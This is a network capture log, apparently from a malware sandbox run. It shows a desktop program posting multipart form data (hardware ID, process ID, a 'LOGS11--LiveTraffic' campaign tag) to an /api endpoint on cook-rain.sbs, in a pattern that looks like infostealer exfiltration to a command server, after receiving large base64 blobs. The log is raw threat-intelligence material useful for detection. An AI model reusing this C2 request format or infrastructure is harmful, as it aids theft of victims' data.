2024-11-20 12:27:19 UTC	388	IN	Data Raw: 34 34 36 63 0d 0a 51 6c 42 2f 2b 34 5a 73 52 2b 33 33 39 67 66 5a 74 6b 4b 4c 42 48 2b 41 41 6a 6b 72 34 50 6e 71 72 35 33 71 4b 73 76 69 6c 77 55 35 63 67 6e 5a 76 46 68 72 7a 34 53 54 4a 65 50 43 4d 50 35 68 55 36 4a 6a 58 51 6e 61 6e 34 76 44 37 6f 38 47 36 5a 54 36 4a 33 67 32 48 70 66 31 43 57 76 50 6b 6f 34 6c 34 2b 30 35 71 57 45 52 6f 6a 67 62 54 6f 71 62 69 38 50 2f 69 30 47 6b 6b 76 74 6d 4b 6a 77 59 6b 2b 4d 50 49 34 79 62 6d 32 4b 38 30 79 50 68 61 68 62 74 61 6c 51 4a 7a 4e 75 50 31 62 2f 51 43 49 61 48 34 32 51 50 4d 51 79 51 70 42 46 72 6c 74 57 54 61 66 75 4d 59 4f 70 68 48 65 78 6b 58 55 43 49 6b 59 4c 4c 2f 6f 35 41 75 34 76 78 62 53 6f 79 47 35 4c 70 42 6a 65 42 6b 5a 78 70 75 74 6b 6a 71 53 68 64 35 58 67 62 45 63 4c 49 75 73 37 75 6d Data Ascii: 446cQlB/+4ZsR+339gfZtkKLBH+AAjkr4Pnqr53qKsvilwU5cgnZvFhrz4STJePCMP5hU6JjXQnan4vD7o8G6ZT6J3g2Hpf1CWvPko4l4+05qWERojgbToqbi8P/i0GkkvtmKjwYk+MPI4ybm2K80yPhahbtalQJzNuP1b/QCIaH42QPMQyQpBFrltWTafuMYOphHexkXUCIkYLL/o5Au4vxbSoyG5LpBjeBkZxputkjqShd5XgbEcLIus7um
2024-11-20 12:27:19 UTC	1369	IN	Data Raw: 68 68 49 44 4a 64 31 36 51 4a 50 63 2f 4e 31 45 61 2b 78 43 66 6c 63 46 2f 59 49 45 51 48 6d 39 75 50 77 62 2f 51 43 4b 47 46 39 6d 51 72 50 52 36 52 37 78 77 6c 6e 5a 4f 5a 59 4b 6e 53 4a 65 64 73 48 76 42 71 56 55 2b 42 6b 6f 50 45 2b 6f 39 4d 36 63 36 31 59 44 68 79 52 64 6e 46 41 79 36 44 6e 34 4e 6c 2b 38 74 75 38 43 59 61 37 69 41 44 43 59 61 61 6a 4d 7a 37 68 6b 61 74 6a 50 4e 70 4c 54 30 62 6b 2b 51 4a 4c 34 65 64 6c 57 69 77 32 79 44 73 61 78 6e 6b 62 46 70 4d 77 74 58 49 79 75 66 49 45 4f 6d 75 38 6d 51 79 63 43 69 61 36 67 41 69 6d 64 57 4c 4b 36 4b 55 4a 2b 55 6d 52 61 4a 75 58 6b 61 51 6d 70 72 49 38 5a 70 45 72 49 62 34 5a 43 34 79 47 4a 37 70 41 43 4f 49 6c 70 78 68 75 74 6f 73 34 32 55 5a 34 53 41 56 43 59 57 44 79 4a 57 2f 75 55 75 74 68 Data Ascii: hhIDJd16QJPc/N1Ea+xCflcF/YIEQHm9uPwb/QCKGF9mQrPR6R7xwlnZOZYKnSJedsHvBqVU+BkoPE+o9M6c61YDhyRdnFAy6Dn4Nl+8tu8CYa7iADCYaajMz7hkatjPNpLT0bk+QJL4edlWiw2yDsaxnkbFpMwtXIyufIEOmu8mQycCia6gAimdWLK6KUJ+UmRaJuXkaQmprI8ZpErIb4ZC4yGJ7pACOIlpxhutos42UZ4SAVCYWDyJW/uUuth
2024-11-20 12:27:19 UTC	1369	IN	Data Raw: 34 45 35 37 67 41 69 79 43 6b 35 52 69 76 39 45 79 37 47 38 52 37 69 41 56 43 59 57 44 79 4a 57 2f 70 30 2b 2f 67 39 70 6b 4d 54 74 64 68 71 6f 58 5a 59 69 5a 31 44 33 37 30 79 58 68 62 52 76 71 59 45 6c 4d 6a 4a 43 4a 78 2f 6d 4a 52 61 57 47 39 57 59 67 4e 42 47 5a 34 77 6b 33 6e 5a 43 53 64 37 47 55 62 71 6c 68 42 61 49 34 47 33 2b 53 6a 4a 6e 62 76 62 31 4c 70 34 37 79 63 57 41 74 55 34 43 6b 43 53 6e 50 7a 64 52 75 75 39 67 6e 34 57 41 5a 36 6d 39 55 51 4a 43 61 68 4d 50 74 6a 30 69 67 6a 76 70 72 4b 54 38 61 6c 4f 38 45 4b 49 75 53 6c 53 58 31 6c 43 66 78 4a 6b 57 69 56 6b 74 45 6a 72 57 44 77 66 62 49 56 2b 65 5a 74 57 41 73 63 6b 58 5a 34 41 49 74 68 5a 71 64 62 37 48 62 4b 65 6c 75 46 4f 74 6a 57 30 57 45 6d 6f 54 42 38 6f 31 4c 72 49 33 77 5a 79 Data Ascii: 4E57gAiyCk5Riv9Ey7G8R7iAVCYWDyJW/p0+/g9pkMTtdhqoXZYiZ1D370yXhbRvqYElMjJCJx/mJRaWG9WYgNBGZ4wk3nZCSd7GUbqlhBaI4G3+SjJnbvb1Lp47ycWAtU4CkCSnPzdRuu9gn4WAZ6m9UQJCahMPtj0igjvprKT8alO8EKIuSlSX1lCfxJkWiVktEjrWDwfbIV+eZtWAsckXZ4AIthZqdb7HbKeluFOtjW0WEmoTB8o1LrI3wZy
2024-11-20 12:27:19 UTC	1369	IN	Data Raw: 34 77 4a 6c 31 39 57 59 5a 72 66 63 4c 2b 39 76 45 65 68 70 55 45 57 4a 6e 34 54 45 2b 6f 35 4a 72 49 58 30 59 79 77 34 47 35 72 6e 41 53 71 41 6e 64 51 72 2b 39 4d 34 71 54 35 64 78 33 64 51 52 34 54 62 6c 34 50 6d 79 45 2b 6c 77 4b 30 6e 4c 44 73 62 6e 2b 45 43 4a 49 6d 64 6b 57 32 2f 31 53 62 76 5a 52 4c 6d 5a 56 70 47 68 70 65 47 78 2f 36 4a 52 4b 4b 50 2f 6d 4a 67 66 46 32 65 2f 45 35 39 7a 36 53 58 63 36 7a 45 4c 4b 6c 35 55 2f 73 67 58 45 58 43 77 38 6a 4d 37 59 4a 43 70 34 58 36 59 69 4d 39 47 70 54 69 41 69 2b 47 6e 5a 4a 71 73 73 59 6a 35 57 67 61 37 47 78 56 52 49 69 59 68 59 32 78 79 45 2b 78 77 4b 30 6e 44 44 55 51 74 2b 38 43 49 73 2b 4b 32 6e 7a 37 30 79 79 70 50 6c 33 75 61 6c 64 41 67 70 4b 4e 78 66 53 42 54 61 69 4c 38 47 51 6d 50 78 4b Data Ascii: 4wJl19WYZrfcL+9vEehpUEWJn4TE+o5JrIX0Yyw4G5rnASqAndQr+9M4qT5dx3dQR4Tbl4PmyE+lwK0nLDsbn+ECJImdkW2/1SbvZRLmZVpGhpeGx/6JRKKP/mJgfF2e/E59z6SXc6zELKl5U/sgXEXCw8jM7YJCp4X6YiM9GpTiAi+GnZJqssYj5Wga7GxVRIiYhY2xyE+xwK0nDDUQt+8CIs+K2nz70yypPl3ualdAgpKNxfSBTaiL8GQmPxK
2024-11-20 12:27:19 UTC	1369	IN	Data Raw: 63 2f 4e 31 47 4f 30 33 53 50 6d 5a 78 54 75 62 56 35 41 68 35 71 4f 79 66 57 43 53 4b 2b 47 39 47 49 71 4d 52 79 54 37 51 6b 74 69 4a 61 47 4a 66 57 55 4a 2f 45 6d 52 61 4a 4a 58 46 75 4d 69 38 6a 53 73 5a 45 49 72 6f 79 31 50 32 41 32 46 35 62 67 43 53 6d 4a 6b 4a 4a 6f 75 74 73 68 36 57 6b 5a 36 57 6c 64 53 49 2b 65 68 63 6e 74 67 6b 4f 6d 6a 50 78 72 4c 58 4a 54 32 65 4d 57 5a 64 66 56 70 57 69 31 32 69 66 2f 4a 67 4b 73 65 52 74 4f 6a 74 76 51 6a 66 36 45 52 36 71 50 39 6d 51 68 4f 41 2b 4c 36 41 63 74 69 70 6d 66 61 37 33 47 4a 75 5a 76 48 75 46 70 58 45 47 4f 6b 59 76 4b 76 38 59 49 72 70 69 31 50 32 41 52 43 6f 6e 70 54 6a 72 42 6a 4e 52 69 74 35 52 34 71 57 34 51 36 6d 70 66 54 6f 2b 63 6a 73 54 74 67 55 32 6e 67 50 46 73 4c 7a 51 5a 6d 75 51 63 Data Ascii: c/N1GO03SPmZxTubV5Ah5qOyfWCSK+G9GIqMRyT7QktiJaGJfWUJ/EmRaJJXFuMi8jSsZEIroy1P2A2F5bgCSmJkJJoutsh6WkZ6WldSI+ehcntgkOmjPxrLXJT2eMWZdfVpWi12if/JgKseRtOjtvQjf6ER6qP9mQhOA+L6Actipmfa73GJuZvHuFpXEGOkYvKv8YIrpi1P2ARConpTjrBjNRit5R4qW4Q6mpfTo+cjsTtgU2ngPFsLzQZmuQc
2024-11-20 12:27:19 UTC	1369	IN	Data Raw: 73 6c 39 5a 51 6e 38 53 5a 46 6f 6b 46 41 53 6f 36 57 79 4e 4b 78 6b 51 69 75 6a 4c 55 2f 59 44 34 54 6e 4f 51 45 49 34 75 51 6b 6d 2b 2b 31 43 76 71 61 52 6e 6b 5a 46 52 4a 69 5a 4b 4a 79 2f 71 43 51 36 2b 4e 39 6d 45 6d 63 6c 50 5a 34 78 5a 6c 31 39 57 30 66 72 62 59 4a 36 6c 35 55 2f 73 67 58 45 58 43 77 38 6a 47 38 34 78 50 71 59 33 32 62 79 55 32 46 35 7a 6b 42 6a 65 48 6c 5a 4e 33 71 64 51 70 37 47 6f 65 34 6d 52 64 51 49 53 59 6a 49 32 78 79 45 2b 78 77 4b 30 6e 44 54 34 61 73 4f 4d 56 5a 5a 44 62 6a 53 57 38 32 47 43 78 4a 68 7a 70 61 6c 52 45 67 5a 32 4c 78 76 71 43 53 61 36 49 2b 48 55 6a 50 52 4b 64 35 41 45 6a 69 5a 53 62 59 37 7a 64 49 65 46 68 58 61 77 67 58 46 48 43 77 38 6a 6a 2b 49 74 4d 36 5a 2b 37 66 6d 41 31 45 64 6d 38 54 69 57 46 6e Data Ascii: sl9ZQn8SZFokFASo6WyNKxkQiujLU/YD4TnOQEI4uQkm++1CvqaRnkZFRJiZKJy/qCQ6+N9mEmclPZ4xZl19W0frbYJ6l5U/sgXEXCw8jG84xPqY32byU2F5zkBjeHlZN3qdQp7Goe4mRdQISYjI2xyE+xwK0nDT4asOMVZZDbjSW82GCxJhzpalREgZ2LxvqCSa6I+HUjPRKd5AEjiZSbY7zdIeFhXawgXFHCw8jj+ItM6Z+7fmA1Edm8TiWFn
2024-11-20 12:27:19 UTC	1369	IN	Data Raw: 55 48 36 63 6d 42 61 49 34 47 33 79 42 6c 59 62 4b 36 5a 6b 46 6a 70 62 2f 59 44 41 31 43 70 61 6b 51 47 57 4a 31 63 77 32 39 5a 51 6b 2b 43 5a 46 73 6a 49 41 48 4e 48 4d 32 4a 2f 67 78 6c 48 70 6c 72 55 2f 63 6e 78 64 69 36 52 57 5a 63 69 57 68 6e 65 39 31 7a 62 71 49 53 50 63 52 30 46 45 68 49 79 5a 38 38 47 50 55 71 53 47 34 6e 5a 73 4a 78 36 58 36 67 6b 7a 7a 39 76 55 61 76 75 4d 47 61 6b 75 58 64 30 75 47 31 48 43 77 38 6a 34 2f 49 5a 47 72 70 62 6b 4b 67 63 6f 45 4a 2f 7a 48 32 58 42 31 5a 49 6c 34 34 52 75 71 57 49 4d 6f 6a 67 4c 47 39 6e 4f 32 35 71 76 32 6c 66 6e 6d 62 56 78 59 47 70 50 31 36 51 63 5a 64 66 56 30 32 61 70 78 69 62 71 63 42 36 6c 58 6d 56 6e 68 5a 32 4e 79 75 2f 4b 5a 71 4b 55 38 69 64 75 63 68 4c 5a 76 44 64 6c 78 39 57 72 4b 2f Data Ascii: UH6cmBaI4G3yBlYbK6ZkFjpb/YDA1CpakQGWJ1cw29ZQk+CZFsjIAHNHM2J/gxlHplrU/cnxdi6RWZciWhne91zbqISPcR0FEhIyZ88GPUqSG4nZsJx6X6gkzz9vUavuMGakuXd0uG1HCw8j4/IZGrpbkKgcoEJ/zH2XB1ZIl44RuqWIMojgLG9nO25qv2lfnmbVxYGpP16QcZdfV02apxibqcB6lXmVnhZ2Nyu/KZqKU8iduchLZvDdlx9WrK/
2024-11-20 12:27:19 UTC	1369	IN	Data Raw: 4a 68 6e 7a 49 41 4d 5a 30 4d 44 64 6e 71 6a 59 47 72 62 4f 37 43 63 32 63 6b 58 4c 71 6b 34 33 7a 38 33 55 49 72 6a 47 4d 75 39 6c 43 2b 45 6e 5a 58 65 6c 6c 59 2f 4d 36 5a 68 66 70 73 2f 62 55 51 45 4d 49 34 7a 6e 41 43 75 49 67 34 55 6c 39 5a 51 76 71 54 34 6b 6f 69 67 62 64 73 7a 62 6b 49 32 6e 79 48 32 71 6a 76 74 67 4e 69 4e 51 76 75 6f 4a 4a 4a 6d 46 67 32 72 30 2b 68 62 49 4a 6c 4f 69 5a 68 73 52 30 4e 58 49 79 65 37 49 45 50 6e 53 72 6a 4a 7a 5a 55 33 4c 2b 30 41 38 7a 34 50 55 50 65 6d 61 59 50 73 6d 52 61 49 6e 57 46 75 51 6e 59 76 62 2f 4d 39 32 6c 36 66 37 59 43 45 6b 44 5a 54 6f 4c 79 61 65 6e 36 70 62 72 74 63 75 35 32 45 4c 38 79 41 56 43 59 33 62 30 50 53 2f 77 41 69 57 7a 72 56 2f 59 47 70 64 72 4f 63 41 4b 34 69 44 68 53 69 63 32 69 66 Data Ascii: JhnzIAMZ0MDdnqjYGrbO7Cc2ckXLqk43z83UIrjGMu9lC+EnZXellY/M6Zhfps/bUQEMI4znACuIg4Ul9ZQvqT4koigbdszbkI2nyH2qjvtgNiNQvuoJJJmFg2r0+hbIJlOiZhsR0NXIye7IEPnSrjJzZU3L+0A8z4PUPemaYPsmRaInWFuQnYvb/M92l6f7YCEkDZToLyaen6pbrtcu52EL8yAVCY3b0PS/wAiWzrV/YGpdrOcAK4iDhSic2if
2024-11-20 12:27:19 UTC	1369	IN	Data Raw: 47 4e 4e 53 73 4c 56 79 4e 57 2f 30 41 69 45 6b 76 4a 33 49 33 41 78 6e 75 6b 43 5a 5a 44 62 6a 53 57 74 6c 48 69 36 4b 46 33 77 49 41 4d 4a 78 5a 69 61 33 2f 6d 4c 58 71 72 48 79 31 6b 4e 49 42 71 4a 35 30 77 55 67 70 47 43 63 4c 6a 45 4a 39 64 59 4d 50 42 6e 53 30 72 41 76 72 4b 50 7a 70 35 4c 71 59 37 79 4a 32 35 79 42 64 6d 38 54 67 69 64 6b 6f 52 6d 2b 66 45 61 71 31 63 4c 34 57 42 56 54 73 4b 45 78 74 53 2f 6e 67 6a 78 30 37 73 6e 4d 6e 4a 46 32 61 4d 41 4b 49 36 57 6d 6d 61 70 78 69 62 71 63 42 36 6c 58 6d 56 6d 69 5a 71 59 77 4f 36 46 54 4c 2b 2b 79 30 41 6d 4e 78 71 6e 32 6a 6b 30 69 49 58 57 51 37 6a 43 49 36 6b 6f 58 66 6f 67 41 77 6d 6c 6e 59 33 4b 76 38 59 49 72 63 43 74 4a 77 38 35 48 49 6e 70 48 79 69 4c 67 39 5a 43 76 64 45 6e 71 53 68 64 Data Ascii: GNNSsLVyNW/0AiEkvJ3I3AxnukCZZDbjSWtlHi6KF3wIAMJxZia3/mLXqrHy1kNIBqJ50wUgpGCcLjEJ9dYMPBnS0rAvrKPzp5LqY7yJ25yBdm8TgidkoRm+fEaq1cL4WBVTsKExtS/ngjx07snMnJF2aMAKI6WmmapxibqcB6lXmVmiZqYwO6FTL++y0AmNxqn2jk0iIXWQ7jCI6koXfogAwmlnY3Kv8YIrcCtJw85HInpHyiLg9ZCvdEnqShd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49707	188.114.96.3	443	4360	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:27:19 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=V8MRB1JCETHHN8M1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: cook-rain.sbs
2024-11-20 12:27:19 UTC	12840	OUT	Data Raw: 2d 2d 56 38 4d 52 42 31 4a 43 45 54 48 48 4e 38 4d 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 36 41 37 42 34 34 44 32 34 37 31 31 30 45 36 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 56 38 4d 52 42 31 4a 43 45 54 48 48 4e 38 4d 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 56 38 4d 52 42 31 4a 43 45 54 48 48 4e 38 4d 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --V8MRB1JCETHHN8M1Content-Disposition: form-data; name="hwid"C6A7B44D247110E663CFCF7E6C45F838--V8MRB1JCETHHN8M1Content-Disposition: form-data; name="pid"2--V8MRB1JCETHHN8M1Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-20 12:27:21 UTC	984	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:27:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2v3hfm3e1dmg2f1nrg43hc9ebj; expires=Sun, 16-Mar-2025 06:13:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I02gOdqlP4Xv0z1ITgyn5da2gKGEv7gAPXqE6z52piz3Z%2F2U29h7RIivS5xmqELWCz1gl0pwRnc4igj1rHVVE2QyO2FPcb8o%2BbUSyP7MJ5a3aNX%2FRHrceRBpttTnaJjP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e586efa3c564346-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1787&sent=7&recv=16&lost=0&retrans=0&sent_bytes=2829&recv_bytes=13775&delivery_rate=1497435&cwnd=252&unsent_bytes=0&cid=292e00e6f2f04d99&ts=1098&x=0"
2024-11-20 12:27:21 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 12:27:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49708	188.114.96.3	443	4360	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:27:22 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LV7ZVD1BBPDZTRNTTVS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15087 Host: cook-rain.sbs
2024-11-20 12:27:22 UTC	15087	OUT	Data Raw: 2d 2d 4c 56 37 5a 56 44 31 42 42 50 44 5a 54 52 4e 54 54 56 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 36 41 37 42 34 34 44 32 34 37 31 31 30 45 36 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 4c 56 37 5a 56 44 31 42 42 50 44 5a 54 52 4e 54 54 56 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 56 37 5a 56 44 31 42 42 50 44 5a 54 52 4e 54 54 56 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --LV7ZVD1BBPDZTRNTTVSContent-Disposition: form-data; name="hwid"C6A7B44D247110E663CFCF7E6C45F838--LV7ZVD1BBPDZTRNTTVSContent-Disposition: form-data; name="pid"2--LV7ZVD1BBPDZTRNTTVSContent-Disposition: form-data; name="lid"LOGS11--Li
2024-11-20 12:27:22 UTC	988	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:27:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jo7mooc0q3sbj03jkh1fkkmmfv; expires=Sun, 16-Mar-2025 06:14:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LRLCohWBqxMbVlILp%2FTcM3lxNOJiz8OFAu2QkE%2Biwi1oLY857WE%2Fo5bFTEYPMpl0%2FzN8ExxHMTx9b5A0lz5%2BwOiKOFwuOnHRZOk6ZxkZM2c1tBGizTL2aXApc8XHSnQ%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e586f07a99841c3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2520&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2829&recv_bytes=16025&delivery_rate=1148250&cwnd=75&unsent_bytes=0&cid=6546684b5424c8c5&ts=583&x=0"
2024-11-20 12:27:22 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 12:27:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49709	188.114.96.3	443	4360	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:27:23 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WZ9A9W8I3PEL7P4AA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20242 Host: cook-rain.sbs
2024-11-20 12:27:23 UTC	15331	OUT	Data Raw: 2d 2d 57 5a 39 41 39 57 38 49 33 50 45 4c 37 50 34 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 36 41 37 42 34 34 44 32 34 37 31 31 30 45 36 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 57 5a 39 41 39 57 38 49 33 50 45 4c 37 50 34 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 57 5a 39 41 39 57 38 49 33 50 45 4c 37 50 34 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --WZ9A9W8I3PEL7P4AAContent-Disposition: form-data; name="hwid"C6A7B44D247110E663CFCF7E6C45F838--WZ9A9W8I3PEL7P4AAContent-Disposition: form-data; name="pid"3--WZ9A9W8I3PEL7P4AAContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-20 12:27:23 UTC	4911	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 23 d1 61 a9 ef 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 61 38 3a 2c Data Ascii: s#a>7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8a8:,
2024-11-20 12:27:24 UTC	983	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:27:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8lb5i1g492ffn2c8313dh38ksm; expires=Sun, 16-Mar-2025 06:14:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I5z1SJ9a%2FcCpeGpzDcpLrOseelJlQlObKldIJkzQv7zNUl20sgar550%2FMl%2BIerVE3p3gCHesXSCFfo61aiswB9i79YNxpAN2QYdGDhWApXj7R0DK15hUExHYA3O0hzxP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e586f100c474340-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1779&sent=8&recv=24&lost=0&retrans=0&sent_bytes=2829&recv_bytes=21200&delivery_rate=1624930&cwnd=199&unsent_bytes=0&cid=c6cbb20b6f244dc0&ts=580&x=0"
2024-11-20 12:27:24 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 12:27:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49710	188.114.96.3	443	4360	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:27:25 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6LL4A0WNXUJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1186 Host: cook-rain.sbs
2024-11-20 12:27:25 UTC	1186	OUT	Data Raw: 2d 2d 36 4c 4c 34 41 30 57 4e 58 55 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 36 41 37 42 34 34 44 32 34 37 31 31 30 45 36 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 36 4c 4c 34 41 30 57 4e 58 55 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 36 4c 4c 34 41 30 57 4e 58 55 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 36 4c 4c 34 41 30 57 4e 58 55 4a Data Ascii: --6LL4A0WNXUJContent-Disposition: form-data; name="hwid"C6A7B44D247110E663CFCF7E6C45F838--6LL4A0WNXUJContent-Disposition: form-data; 